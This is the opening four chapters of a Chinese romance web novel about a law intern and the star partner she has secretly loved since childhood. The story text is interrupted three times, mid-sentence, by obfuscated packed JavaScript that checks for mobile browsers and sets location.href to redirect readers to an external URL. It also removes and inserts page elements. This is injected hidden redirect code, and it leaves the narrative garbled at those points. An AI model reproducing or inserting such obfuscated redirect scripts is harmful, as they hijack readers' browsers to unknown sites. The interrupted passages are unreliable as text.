《他的茉莉》 1. 第一章 《停止暗恋》 文/青山不回 01 四月,上午十点。 宋昭昭进入办公室,填写了一堆入职表格之后,被HR带到工位。 对方给了她一台新的笔记本电脑,告诉她无线密码,让她用半个小时的时间下载常用的软件。 等待软件下载的空当,宋昭昭翻了翻公司的规章制度,上下班时间、公司福利、年终考核以及奖惩情况都清清楚楚地写在上面。 宋昭昭粗略地浏览了一遍,合上本子,目光移至窗外。 今天是她进入华冠律师事务所实习的第一天,HR热情地带她转了一圈办公室,与公司同事们打过招呼之后,便将她带往事务所王牌律师陈历的办公室—— 隔壁。 华冠律师事务所是康平市较大规模的综合性合伙制律师事务所,全所由20位高级合伙人和40位中级合伙人组成管理层。 注册律师中,具有博士、法学硕士学历的律师数不胜数。有一部分律师有过留学经历,精通多国语言,并拥有注册会计师、建筑工程师等资格证。 作为当地乃至全国有名的律所,华冠律师事务所承接公司筹备、兼并、海商海事、国际融资、知识产权等方面的诉讼和非诉法律服务。 宋昭昭当初冒着试一试的想法投了简历,并不抱太大希望,但经过两轮严苛的面试后,最终收到实习通知,她不由一蹦三尺高,感慨她这等小虾米能在全国红圈所谋得一席之地,当真是祖坟冒青烟。 通过面试,宋昭昭第一时间向父母告知了这个好消息,毕竟当初是他们劝她投个简历试试看。然而等她真被录用之后,父母对此倒是没多大意外,只叮嘱她进了律所之后,要认真工作,时刻保持虚心学习的态度。 宋昭昭“嗯嗯啊啊”地应着,一面被喜悦包围,一面又担忧日后如何与某人相处。 她的工位靠窗,抬眸望去,能望到一片蔚蓝天空,今日晴好,一团团如棉花糖松软的云朵缀在天幕,看得人心情舒畅。 办公室楼层高,那团云朵晃晃悠悠地飘至眼前,仿佛触手可及。 “嘟嘟——” 放在桌面的手机震动了两下,声音突然出现在鸦雀无声的办公室,宋昭昭吓了一跳。 她终于被扯回神。 打开手机定睛一看,发现原是HR将她拉入了工作总群,向各位同事介绍新员工并表示欢迎。这会儿群里撒花的、起哄的人纷纷冒出来,消息响个不停。 盛情难却,宋昭昭忙回复群里同事的热切欢迎。 【谢谢。】 附赠一张“心花怒放”的表情包。 宋昭昭低着头,琢磨着要不要再加几句场面话,桌面突然被人敲了两下。 打字的手停下。 完蛋!上班第一天就被抓个玩手机的现行?给领导留下敷衍粗心的印象? 宋昭昭的心猛地一跳,暗自叫糟,默默抬起头。原以为会被批得狗血淋头,不料对上一双幽深的眼眸。 办公桌前站着一位男性,宋昭昭对他再熟悉不过。 他盘正条顺,身穿西装,一手提着公文包,一手抵在桌面上,手指修长,骨节分明,此刻居高临下看她,更显得她渺小。 宋昭昭的大脑陷入短暂的空白,回过神后霎时站起身,收了手机,结结巴巴道:“……陈,陈Par。” 简单的问好也变得磕磕绊绊,宋昭昭不敢与他对视,微微侧开头。 她本该藏好自己的慌张,不把生活的情绪带入工作。 毕竟从今以后,她就是他所在团队里的一员,之后每一个工作日,他们将会有很长一段时间的交流、合作。 她将见到工作时,沉着冷静、一往无前的他。 只是……哪怕她给自己再多次心理暗示,都无法做到真正的心如止水。 宋昭昭吞咽了下口水,反复告诫自己不要露出慌张的马脚。 “熟悉得怎么样?”陈历嗓音低沉,上来就是上司对下属的关切,问得官方。 宋昭昭只得寻出更得体的回答,一字一句道:“挺好的,环境、氛围都不错,同事们也很友好。” “你呢?”静了一瞬,他忽然问。 “啊?” 宋昭昭微怔,随即领悟了,恍然明白他问的不是律所的环境和同事,而是她。她的心情如何,是否适应,第一天上班,有没有感到不舒适的地方。 “还可以。” 宋昭昭抬眸,与他四目相对。 “嗯。”陈历望着她,若有所思地点了下头。 静了半晌,陈历慢悠悠地从公文包里抽出一沓文件,递给她,仔细叮嘱:“这是接下来要受理的一桩案件,把它从头到尾看三遍。” “等会儿我会邮件发你文件包,律所现有的法律文书的模板,都在文件里。” 谈及工作,陈历一脸严肃。 宋昭昭不敢怠慢,小心翼翼接过纸质文件,忙不迭点头:“嗯,好的。” 她出声答应,目光已落在方才那叠文件的首页。视线触到的刹那,她睁圆了双眼,露出讶异的表情。 早听闻陈历是圈内最年轻有为的律师之一,打过几个著名的官司,身价暴涨,如今接手的案子,案件标的额至少是八位数起步。 但她万万没想到,她进律所接触的第一桩案件,竟然就是国内颇有名气的两大商标之争。 不过想想也正常,华冠律师事务所的律师,仅是咨询费都要五位数起步。 陈历作为律所合伙人之一,近几年还代理过几个大案,在业内拼下不小的名气,能揽下这个案子实属正常。 记得读研的时候,宋昭昭的导师在商标法的课堂上,谈及近两年最有名的商标之争的大案,第一个拿出来举例的,便是陈历作为代理人所打的商标官司。 上课时老师滔滔不绝,激情澎湃,末了甚至夸奖陈历年纪轻轻却颇有才干,将来必定前程似锦、大有所为。 宋昭昭捧着沉甸甸的文件,正准备翻阅,陈历已经站直身子,说:“中午在这儿等我,忙完带你去吃饭。” 哈? 他带她去吃饭?两个人吗? “不用麻烦了吧?”宋昭昭试探着问道。 公司楼下有食堂,HR已经带她参观过,再不济还能点外卖,和他一块儿吃饭,恐会惹来其他人异样的眼光。 “不麻烦。” 陈历决定了的事情,很少能被改变。他没给宋昭昭拒绝的机会,继续道:“到时候领你和团队的人互相认识一下,彼此之间多熟悉点,将来工作更好配合。” 原来如此。 宋昭昭暗暗松了口气,她差点误以为是他们俩单独出去吃饭。 实习第一天就被顶头上司约出去单独吃饭,落在别人眼里定会遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405654|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来闲言碎语。 更何况此次和她同批面试的实习生当中,不乏那些履历优秀、经验丰富的人,但偏偏是她过五关、斩六将进入律所,还被陈历指名道姓点去做助理。 要是再不避嫌,流言蜚语岂不是要掀翻律所的屋顶? 她初入职场,还不想成为同事的眼中钉、肉中刺,被人在背后指指点点。 “好,知道了。”依旧是乖顺的语气。 话音落,陈历深深地看了她一眼。他欲言又止,终是浅浅地叹了口气,转身推开办公室的门,打开电脑,坐在位置上开始忙工作。 宋昭昭坐在工位上,透过玻璃门,往里面悄悄瞟了一眼,陈历戴上金丝眼镜伏案工作,神情格外严肃认真。 跟上学时的模样没什么太大区别,只不过现在的他更成熟、浑身上下充满男性的魅力,举手投足间就能轻易将人的目光吸引。 窗外阳光和煦,斜斜地照进办公室,灰尘在半空中上上下下地漂浮。 宋昭昭的工位靠窗,窗户开了半扇,一阵清风抚过,碎发飘扬,她握紧了手中的文件,恍惚间觉得眼前的场景似曾相识。 这般熟悉的画面,在梦中出现过成千上百次。 阳光,微风,窗明几净,一张办公桌,一身西服,一支笔,一摞书,一双如湖面幽深的眼眸。 他仿佛被装进了真空罩子里面,周遭的喧嚣都显得无关紧要。 静谧,美好。 人生无非是活这几个刻骨铭心的瞬间。 宋昭昭的表情渐渐柔和,身心难得放松下来,她收回视线,开始翻看案件的内容。 - 康平市是国内一线城市,位于南方,目前也是国际经济、金融、贸易、航运、科技创新的中心。 华冠律师事务所的上班时间在早上九点到十点,弹性工作时间,不忙的时候可以自由上下班,但有时候案子麻烦,需要耗费大量时间处理,就需要跟上律师们的工作节奏,加班、出差是常有的事。 面试时,HR明确问过宋昭昭能不能接受。 这年头找工作不容易,尤其华冠本身就不缺应聘者,都走到面试环节了,硬着头皮也只能坚定地说一句“能”。 等人真沉浸在案件中时,不会感到时间的消逝,宋昭昭从一堆文件中抬眼,才恍惚发现已经到了饭点。 办公室外的同事稀稀拉拉地离开房间,三三两两凑在一起,讨论着中午去哪儿吃。 宋昭昭打了个哈欠,再次将目光投向陈历,他专心致志地忙手头的工作,根本没有留意到时间流逝。 她不禁感慨,似乎能成大事的人,专注力总是要比旁人高出一截。 早餐囫囵吃了两口,这会儿她有点饿,想着方才陈历说要带她去外面吃饭,却迟迟不见他放下工作。 宋昭昭又不敢贸然上去催促他,只能支着下巴默默观察。 陈历的下颚线流畅清晰,鼻梁挺拔,眉骨高耸,尽管已是而立之年,但因为常年健身的原因,宽肩窄背,身材保持得非常好。他的审美也不赖,正装西服衬气质,平日里的私服往身上一套,像个男大学生。 不怪宋昭昭这么多年,眼里心里都只容得下他一人,实在是陈历优越,可望不可及。 她看得入神,房间里的陈历右手微动,翻过一页纸,似乎有抬头的趋势。 宋昭昭心虚,慌里慌张地撇开视线。 2. 第二章 02 宋昭昭刻意保持着低头的姿势,两分钟后见对方仍没有动静,才小心翼翼地抬起下巴,往房间里瞟了一眼。 原来方才是她错觉,陈历并未抬眸,依然专心致志地翻看着眼前的文件。 如此全心全意,难怪他会成功。 律所内做到高级合伙人的律师,大多人到中年,唯有陈历例外。 他不过而立之年,在法律方面的建树却颇深,走到哪儿都能听到来自前辈的赞扬和后辈的钦佩。又因为人生得玉树临风、颜如冠玉,目前已经成为华冠的活招牌。 律所网站首页,是一众合伙人的合影,他身高、样貌卓尔不群,站在一群发福秃顶的男士之中,有如鹤立鸡群。 三十岁的年纪,精通英语、日语,在商贸上打过几场案子,获得如潮好评,还曾被评为十大杰出青年律师。能力出众,履历也十分好看,随便在网上一搜,就能蹦出不少关于他打官司的详细介绍。 宋昭昭“啧”了声,心道他是一座遥远的、耸立的高峰,她纵使淌过湍急蜿蜒的河流,翻过连绵起伏的山丘,走过很远很长的路,也未必能攀越这座高山。 已经下班五分钟,宋昭昭见他没有放下工作的打算,决定先偷溜出去上个厕所。 她刚起身离开办公室,里头的人仿佛心有灵犀般,捕捉到她的动静,微微抬头。 宋昭昭上完厕所回到办公室,发现陈历坐在她的位置上,翻看她在白纸上的涂涂画画。 她看资料时有做笔记的习惯,边浏览案件边写下对案件突破口的思考。 作为法律人而言,这个随看随记的习惯大家都有,打官司时,需要根据当事人的诉求在案件的细节处抠字眼、抠例外,定好方向,才能更好地开展接下来的工作。 只不过……她还是个初出茅庐的小子,接触的是课本理论,对于实务的操作几乎为零。 所以,她对打官司实际操作的难易程度不甚了解,草稿中有缺漏,旁人看还好,然而…… 宋昭昭还没有正式跟过一桩案子,怕写得令陈历不满意,让他失望。 偏偏他是上司,大大方方地检查、指导助理的工作,无可厚非。 他一言不发,神情并无任何起伏,宋昭昭有些苦恼。她心惊胆战地往前走了两步,停在办公桌前。 陈历抬眸。 视线不偏不倚地撞上,他冲她微微一笑:“写得不错。” 陈历突如其来的夸奖,令宋昭昭微怔,她连忙摆摆手,谦虚道:“没有,没有,写得并不严谨。” 陈历神情未变,悠悠然放下手中的纸笔。他从位置上站起身,哑然失笑道:“准备好去吃饭了吗?” “准备好了。” 宋昭昭连忙拿过桌边的斜挎包,毕恭毕敬地回道。 正式上班第一天,为了表示自己的重视程度,宋昭昭特意穿了职业装,脚踩一双高跟,可她平时穿惯了平底,并不能很好驾驭高跟,因而出门的时候脚扭了一下。 身形晃晃悠悠,差点儿摔倒在地。 好在陈历就跟在她身后,眼疾手快地扶了她一把。 没有想象中摔倒在地的疼痛,宋昭昭的眼睛闭上又睁开。 她半个身子都已经跌进他的胸膛,陈历温热的鼻息扑在她的脖颈处,他撑着她的手臂,眉心微拧,问:“没事吧?” 他们离得太近,相贴的肌肤仿佛被放了一把火,熊熊火焰猝不及防地窜出来。 宋昭昭的脸以肉眼可见的速度红了起来,她抿抿嘴唇,心跳不可抑制地加快。 怎会如此? 怎会如此! 她尴尬得恨不能立即原地刨一个坑,将脑袋埋进去。避无可避的时候,她缓了缓呼吸,从陈历的怀里退出来,轻声道:“多谢。” 不敢回头,不敢与他对视。 宋昭昭的手搭在门把手上,她慌不择路地想要推开门,陈历低沉的嗓音从背后幽幽传来:“你好像,很怕我?” 话音落,宋昭昭心虚地捏了捏门把手。气温并不高,她的掌心却沁出薄薄一层汗。 宋昭昭清了清嗓子,小心翼翼回过头,错开他的视线,底气不足地回道:“有吗?没有吧……” 他就站在她背后,他们之间的距离那样近,近到她往后再退一步,就能跌进他的胸膛。 她穿了高跟,依旧比陈历矮了半个头,他俯视着她,宋昭昭只觉手足无措。 宋昭昭说完,默不作声地低下头。 陈历的视线始终盯住她,见她刻意回避,心下了然。 他勾了下唇角,无声地笑笑,俯身帮她打开身后的门,冲她抬了抬下巴,说:“走吧。” - 午餐定在市区内的一家高档餐厅,餐厅所在的商圈距离律所只有五六分钟的步行路程。 陈历带的团队,加上宋昭昭共有六人,四男两女。 入座后,大家分别做了自我介绍。宋昭昭浅笑,默默记下所有人名。 她话不多,眼睛观察得尤其仔细,希望从中揣摩出对方的一点点性格,日后相处起来能更自如。 陈历坐在宋昭昭身侧,为她倒了杯果汁,趁另外几人聊案件的功夫,在她耳畔轻声道:“李格做事严谨,容不得差错,与他共事需打起十二分精神,王德华是风风火火的性子,不过人比较友善、好相处。柯江随和耐心,注重细节,我不在的时候,遇到不懂的地方可以问他。李菲菲思维跳跃,与她探讨会有新思路……” 他讲的是在座四位同事的性格和能力优点,全在点子上,更利于宋昭昭了解。 她竖起耳朵,听得格外认真。 “至于我……” 陈历轻笑一声,离她远了些:“没有人比你更了解。” 八个字,如平地惊雷,炸得宋昭昭瞪大了眼睛。 他在说些什么?明明在她来之前,说好了两个人要保持距离。她记在心里,恨不能刻在脑门上。 避嫌,说来容易做起来难。 她自诩今早做得滴水不漏,他怎么突然……宋昭昭望向他,他含着笑意正等她闯入。 另外四人聊得热火朝天,并没有发现他们的异常。宋昭昭与陈历四目相对,古怪的气氛悄然升温。 宋昭昭的身子逐渐紧绷,她眨了下眼,不自然地移开目光。 陈历望着她,笑而不语。 在他炙热的目光中,宋昭昭的头越埋越低,她清咳了声,端起碗大口大口地吃饭。 这顿饭吃得还算愉快,同事们都非常健谈,大家其乐融融,宋昭昭在他们友好的话题引导下,慢慢加入聊天。 陈历话不多,只在一边安安静静地听他们说话,含笑的眸子始终落在某个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405655|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。 宋昭昭偏过身,故意忽略掉他复杂不明的目光。 回来的路上,陈历给每人买了一杯咖啡。 王德华笑嘻嘻打趣:“陈Par,喝了这杯咖啡,下午干活我都更有劲了!” 众人笑作一团,宋昭昭抿着唇向陈历投去视线,发现他正目不转睛看着自己。 心口突地一跳,宋昭昭悄然抿了口咖啡,默默挪开视线。 回到律所后,手头有棘手案件的同事继续办公,案件不紧急的,大家默契地搬出小靠枕准备休息。 陈历有单独的办公室,办公室外有助理室,他们两人一前一后进入办公室后,分别走向工位。 第一天上班,宋昭昭整个人有点紧绷,还有点兴奋。 尽管昨晚熬到凌晨,现在也不太困乏,她拿出手机,窝在工位回复母亲的消息。 母亲的消息,翻来覆去无非是问她习不习惯律所的节奏,与同事相处如何,有没有特别难对付的同事。 最后问到陈历。 问他有没有按时吃饭,工作压力大不大,说是除夕聚餐之后,大概有两个月不见,家里人都挺想念他的。 宋昭昭抿唇。 一大段消息,话里话外都是对陈历的关心,到底谁是你的亲生女儿? 她无奈地扯了扯唇角,引用母亲的提问一条一条回复过去,末了撇了撇嘴,望向办公室里揉着太阳穴的陈历。 都说律师的工作强度大,压力也大,很多人不到三十就已经有脱发的困扰,不过陈历似乎天生基因好,饶是连轴转、熬夜、赶路出差,一头乌黑依旧茂密顺亮。 怎么会有人既能在行业内做到顶尖,又能保持如此良好的身体状态? 宋昭昭盯着看了会儿,陈历终于感受到外面投来的炙热的目光,掀眼看她。 只一眼。 看过后,他微微弯腰,拉开办工桌的抽屉,从里面翻出几袋零食,径直朝宋昭昭走去。 他大步走过来,笔挺地站在宋昭昭面前,把零食递给她后,单手支在桌面。 陈历不经意瞥了眼她未熄灭的手机屏幕,上面的对话他看了个大概,淡声道:“告诉阿姨,我一切都好。” “……” 居然偷看人手机! 不是戴着眼镜嘛,怎么视线出奇得好? 宋昭昭瞪他一眼,敢怒不敢言,咬牙切齿应道:“好。” 陈历嗓音低沉,问:“不午睡会儿?” 宋昭昭摇头:“睡不着。” 陈历上下打量着她,瞧见她眼底淡淡的青色,断然道:“昨晚是不是熬了个通宵?” 宋昭昭的声音越来越低,否认道:“没有。就……大概一两点才睡。” 陈历盯着她,语气有些严厉:“熬夜晚睡,我可要向阿姨告状了。” 宋昭昭气得鼓起两腮,飞速地瞥一眼办公室外面休息的同事,压低声音,咬牙切齿道:“你别得寸进尺啊!我现在可不怕!” 陈历哼笑,轻飘飘一句:“不怕为什么紧张?” 宋昭昭哑口。 不等她反驳,陈历的食指微屈,轻轻叩了两下桌面,温声劝道:“睡会儿吧,下午还要开会。” 说罢,他抬脚回了办公室。 宋昭昭看了看摊在桌面的零食,又望向他的身影,欲言又止。 3. 第三章 03 结束一天的工作,宋昭昭悠悠地伸了个懒腰。 她的眼神漫无目的地投向玻璃门外,外面的同事伏案工作,屁股依旧牢牢粘在椅子上,并没有任何起身走人的趋势。 宋昭昭手握鼠标,不得不跟着在位置上干耗。 还记得当初通过华冠律师事务所的面试后,她找了足足一周的房子才找到价格、距离、环境相对适宜的租房。 它距离律所的路程,坐地铁需要半个小时。 每天上下班来回,都要挤在人堆里,没座的时候站完全程,再回到空荡荡的房子里时,只剩下半条游魂。 她读书时,经常避开上下班的早高峰时间坐地铁,不仅仅是因为宽敞的空间会被人塞得满满当当,更因为上班族全身散发出的班味,死气沉沉,像被剥去了所有精气神,看不到眼前的任何出路。 倦怠、疲惫、迷茫,足以将人的脊梁慢慢压垮。 宋昭昭看着外面端坐的同事,不是在翻阅法条就是在查阅资料,抑或是跟当事人沟通,瞧着他们忙碌的身影,完全可以预见未来的工作强度将会直线上升。 她浅浅叹了一口气,不由感慨佩服陈历的辛苦与坚韧。 他没背景、没人脉,仅靠着自己的头脑和能力,考上名校,成功保研,又在毕业时大着胆子与人合开律师事务所,而立之年已经成为最高级合伙人,并凭借自己的名气将律所带上更高一层。 这么多年,他日复一日学习,保持高强度的工作,勤奋刻苦推着他往更高处走。 宋昭昭的目光从外面移至陈历办公室,偌大的房间空空荡荡,桌面摞起小山高的文件,却并不显杂乱无章。 下班前他接了个电话就离开了,一直不见人回来,大概出去见客户或者有其他的安排。 她作为下属,没有询问的资格。 在工位上枯坐了十分钟,宋昭昭决定不看别人眼色行事。 手里头暂时没有紧急的案子,没必要和别人较劲谁下班更晚、谁对工作更上心。 她掏出手机,打卡下班,在门口与同事们挥手道别。 乘坐电梯下了办公楼,徒步走向地铁站入口的路上,迎面的风凉爽轻快,额前的碎发飘至眼睫里,宋昭昭伸手去揉。 站定脚步的片刻,一辆黑色奔驰车停在了她的身后。 宋昭昭并未发现那辆车,揉完碎发后继续往前走。 然而短短十几米路,有辆车一直在她身侧开开停停,起初她觉得碰巧,可那车离她那样近,随着她的步伐起步、停下,显然是冲着她本人来的。 宋昭昭无奈地叹了一口气,抬起头,凌厉的目光扫向身旁的轿车。 那辆车终于停下,车窗紧跟着缓缓降下,里头露出一张再熟悉不过的脸—— 陈历。 惊诧,不可思议,好奇……种种情绪交织着,宋昭昭凌厉的目光瞬间变得柔和。 下班时,她明明眼睁睁看着陈历提包走人了,没想到他居然还没离开。 宋昭昭觉得奇怪,眉心微微一蹙,踱步走到车子旁边,低低地叫了声:“陈Par。” 陈历扫她一眼,冲她歪了下头,道:“上车。” “啊?” 宋昭昭左右张望,前方走过三个西装革履的男士,她还有些印象,是另一律师团队的伙伴。公司门口明目张胆上他的车,不太合适吧? 更何况,陈历的别墅在城南,她租住的房子在城北,距离相差甚远,并不顺路。 “不用了陈Par,不顺路。”宋昭昭拒绝。 陈历对她的回答丝毫不感到意外,平淡发问:“下午你起草的起诉状和申请书我看了,不想听听哪里出错了?” 此话一出,宋昭昭万万没有拒绝的份儿。 大家都说陈历在业内的名声大,却很少指点旁人,若是能听他一席话,绝对受益匪浅,她要是能得他教导,应该会有神速进步。 更何况,目前他是领导,她是助理,工作上的意见,她理所应当需要听一听。 道旁车流量渐大,眼见着这条公路过不了多久就会被堵得水泄不通,宋昭昭抿了抿唇,终是上了他的车。 本以为他会板着脸,以公事公办的语气和她谈论工作,点出她所犯的错误,哪知关上车门,陈历立即转了话题:“晚饭吃什么?” 宋昭昭边系安全带,边回:“没想好,可能回去随便吃点。” 话音落,车遇红灯。 车子停在路上,陈历单手搭着方向盘,缓缓转过头。 他看了她一眼,沉默不语。 宋昭昭的手捏着安全带,不明所以地与他对视,总觉得他的目光像一把飞刀,冷漠地向她抛过来。 她经不住脖子一缩,心想这眼神,怎么跟看智障似的? 难道…… 他问的,是今天晚上他们吃什么? 红灯跳转为绿灯,车子重新起步,宋昭昭望向他,不确定地问了句:“晚上,你要和我一起吃吗?” 回应她的,是他的沉默。 宽敞的空间,唯有车载音乐缓缓流淌。平静舒缓的乐曲,娓娓道来的英文,让宋昭昭紧绷的身子慢慢放松下来。 她贴着椅背,松了松肩膀。 昨晚熬夜,中午又没休息多久,这会儿紧贴着舒适的座椅,闻到车内清新淡雅的香气,宋昭昭昏昏欲睡。 她又一次闭上眼睛,陈历的呼唤低低传来。 “昭昭。” “嗯?” 宋昭昭费力地睁开眼,声音软绵绵的。 车子缓慢平稳地行驶着,陈历手戴腕表,骨节分明,搭在方向盘上尤为赏心悦目,他目视前方,就这么熟稔而平静地叫出了她的名字。 瞌睡瞬时被赶跑了,宋昭昭心头一跳,攥着衣角的手指默默收紧。 他神情未变,说得漫不经心:“下班后不必再称呼我为陈Par。” 太生疏,他不习惯。 “哦……”宋昭昭的手指抠了抠衣角,佯装不解,“那叫什么?” 陈历瞄了眼后视镜,清嗓后,不紧不慢道:“随便你,或者和以前一样称呼我,都行。” 以前? 闻言,宋昭昭面色一僵。 以前年少不懂事,恬不知耻,也不管人家愿不愿意,一股脑儿的抛出自己的满腔热情,追在他屁股后面口口声声喊“陈历哥哥”,有时候闯了祸,撒娇求人帮忙,黏黏糊糊地叫他“历哥哥”。 见他皱眉却不反驳,非但没有见好就收,反而感到洋洋得意,喊得更勤快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405656|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >后来…… 后来经历了些许事情,陈历对她正色道:“昭昭,我们不是兄妹。” 他说,他们不是兄妹。显然是对“历哥哥”那般暧昧不清的称呼不满。宋昭昭反应过来以后,便不再叫了。 可今天…… 宋昭昭觉得自己的脑子像是被蜘蛛织网似的兜在了一起,她没办法从他的神情和话语中找出解开的方式。 陈历忽远忽近,仿佛触手可及,又远在天边。 在她早期的印象里,他像那座神秘且孤独的富士山,永远不会为任何人挪动一步。 她反复告诫自己冷静、理智,克制心动的藤蔓疯涨,然而年少的感情从来不讲道理。 她努力过,成效不佳。 车内静下来,宋昭昭沉默地偏过头。 窗外的花草树木不断倒退,夜间霓虹闪烁,眼前的景色随之晃晃悠悠,记忆也慢慢流回当年。 - 宋昭昭初遇陈历,在13岁那年。 小升初结束,宋昭昭凭借优异的成绩顺利升入本市重点初中,学校开学早,八月份举行军训,又连读了十天课,终于在八月结束前,给他们放了个五天的小长假。 学校离家大概有五公里,宋昭昭住宿,放假那天,她没提前通知父母,选择一个人乘坐公交车回家。 那天夕阳西下,温度适宜,清风拂面。 宋昭昭背着厚重的书包,从公交车站点往家跑,追着夕阳跑了一个上坡,在风光路弄堂的尽头见到了长身玉立的他。 他的身旁当时还停着一辆搬家的大货车,车上堆满家具和大包小包的行李,他挽着衣袖,露出精壮的手臂,宽大的手掌捏住矿泉水瓶,仰面喝了两口水,凸起的喉结随之上下滚动。 男孩子喝水,两口就轻轻松松解决。 喝完水后,他环视四周找了下垃圾桶,确定目标所在的位置之后,抬起手臂轻轻一抛,将空瓶子掷进远处的垃圾桶。 抛完空瓶子,陈历目不斜视地转身,继续往楼上搬行李。 整个过程风轻云淡,普通平凡。 可当时的晚霞旖旎,夕阳余晖打在他身上,莫名给这个陌生的男生添了光彩,宋昭昭不知不觉停下脚步,在远处偷偷看了好久好久。 他像一头任劳任怨的牛,上上下下搬了许多沉重的家具和行李,始终一声不吭,汗水从他的额头沁出来,顺着脸颊往下淌。 白色T恤也被汗水沾湿,贴着他的胸膛和后背,隐隐约约能瞧出身材的轮廓。 宋昭昭立在弄堂的尽头,目不转睛地盯着他的身影。 有那么一刻,她想上去帮忙,但他始终冷着一张脸,看起来生人勿近的模样,她好不容易积聚的勇气触到他冷淡的面庞时,就跟气球泄气似的,消散得无影无踪。 后来她也想过,自己对陈历的情感,究竟起于何时。 每每想要对这段感情抽丝剥茧时,宋昭昭总能想起初遇那天的晚霞,橘子味道的天幕,和煦的光洒在他身上,仿佛要照亮少年前行的路。 他一声不响地帮忙搬行李,手臂青筋暴起,在少年与男人之间反复跳跃,给予人莫名的安全感。 宋昭昭心跳漏了半拍,胸膛跟着起伏。 晚风一吹,她就摇摇晃晃地栽了进去。 4. 第四章 04 宋昭昭在风光路的老房子没住过多久,此次搬回来住,是因为他们住的房子正逢拆迁,一家人不愿意住拆迁房过度,所以把老家收拾干净,回来住一段时间。 正好她考上市重点初中,平时上学时间都住在学校宿舍,只有周末两天才回家休息,对宋昭昭而言影响不大。 拆迁款到账后,宋昭昭父母在市区买了一套新房,目前正在紧急装修中,等装修结束,再搬进家具,通风一段时间后,自然是搬离风光路的时候。 至于陈历为何搬到此处,原是他父亲做工程出了意外,上头的人将烂摊子推给他父亲,家里的房子车子全部变卖了,还底下的工人一份工钱。还完债之后,母子二人身无分文。 远房的亲戚见他们可怜,便将早年间在风光路置办的空房子收拾出来,腾给陈历母子二人居住。 那次初遇,正是陈历第一天搬进风光路。 于是,他们顺理成章地成为了邻居。 起初,宋昭昭一家与陈历母子接触并不多。 她所在的那所初中,在全市排名前三,校规严苛,老师们也管得格外严格,她升入初中之后,学业忙碌,甚至抽不出空闲与家里人通话。 彼时的陈历在市重点高中读高三,成绩名列前茅,读书的同时还参加各项竞赛,都取得了不错的成绩,有大学向他抛出橄榄枝,给了提前录取的机会。 陈历婉拒,告诉对方他已有心仪的学校。 陈家与宋家成为了邻居,两家人有时候在楼道里遇见,都会点个头打招呼,宋昭昭母亲还在背后感慨,觉得陈历母亲一个人不容易,能帮衬的时候要多搭把手。 两家真正熟络起来,是在陈历他们搬过来的三个月后。 那时已经入冬,夜,街上行人渐少。 陈历的母亲董莲在风光路附近的一家便利店做收银员,当晚下了夜班回家,一个人拎着包从便利店走回来,在风光路的弄堂口遇见蒙面抢劫的团伙,两个年轻人骑着一辆摩托车,伸手去夺她手中的背包,好在董莲警觉,听到摩托车轰鸣声的时候,悄悄把包护在了胸前。 对方第一下并没有得手,气得转过头瞪她。 董莲吓得屏住了呼吸,全身抑制不住颤抖! 她一个中年妇女,哪里会是人高马大的青年男性的对手,如果他们今晚势要夺走她包里的钱财,她肯定护不住。 更可怕的是,这种当街实施抢劫的团伙,身上极可能藏有小刀等利器,万一对方没控制住脾气给她来一刀,她恐怕凶多吉少。 董莲连连后退,抢劫团伙怒上心头,随即调转车头朝董莲撞去,边开车边叫嚣着:“臭婆娘,把包和钱都交出来!” “还敢逃?信不信我撞死你啊!” 他们悠悠地吹了声口哨,斜睨一眼董莲,姿态尤其嚣张。许是四下无人经过,给了他们无限猖狂的底气。 董莲双唇打颤,眼睛因恐惧而睁大,双手紧紧护着包。 包里装着今天刚发的工资,那是她和儿子陈历将来的伙食费。 自从陈历父亲做工程失败后,便从家里消失了,留下所有烂摊子都是母子两人收拾的,他们手里没有多余的闲钱,陈历将来还要读大学,她平时扣扣索索,省吃俭用,都想把钱攒着留给孩子上学。 所以,她万万不能将包交出去。 抢劫者见这条巷子附近无人来往,索性停下车,一前一后将她围堵在中间,双手叉腰,吊儿郎当地吹了声口哨:“我看你往哪儿跑,识相点就把包交出来!” 董莲沉默不语,将包抱得更紧。 “敬酒不吃吃罚酒?那可别怪我不客气了!” 他们直接上手明抢,一人拽着她的头发,一人拖着她的身体,偏偏她的手指紧紧扣住包的链条,怎么使劲都掰不开。 “哼。”抢劫者冷笑一声,狠狠踹了她一脚,“那就别怪我费了你这只手。” 董莲力气不敌两人,可她不知从哪里生出来的勇气,与他们抵抗到底,她扯着嗓子大声呼喊救命。 夜已深,风光路上虽然没有人影,但这个点大多数人都窝在家里,安静的夜晚,她凄厉的呼救声终于引来关注,附近楼房的灯接二连三地亮起来。 宋昭昭的父亲率先从家里跑出来,救她于水火之中,紧接着,附近的邻居也纷纷赶来。 当时天黑,抢劫发生的地方又是监控死角,他们报警之后,再无下文。 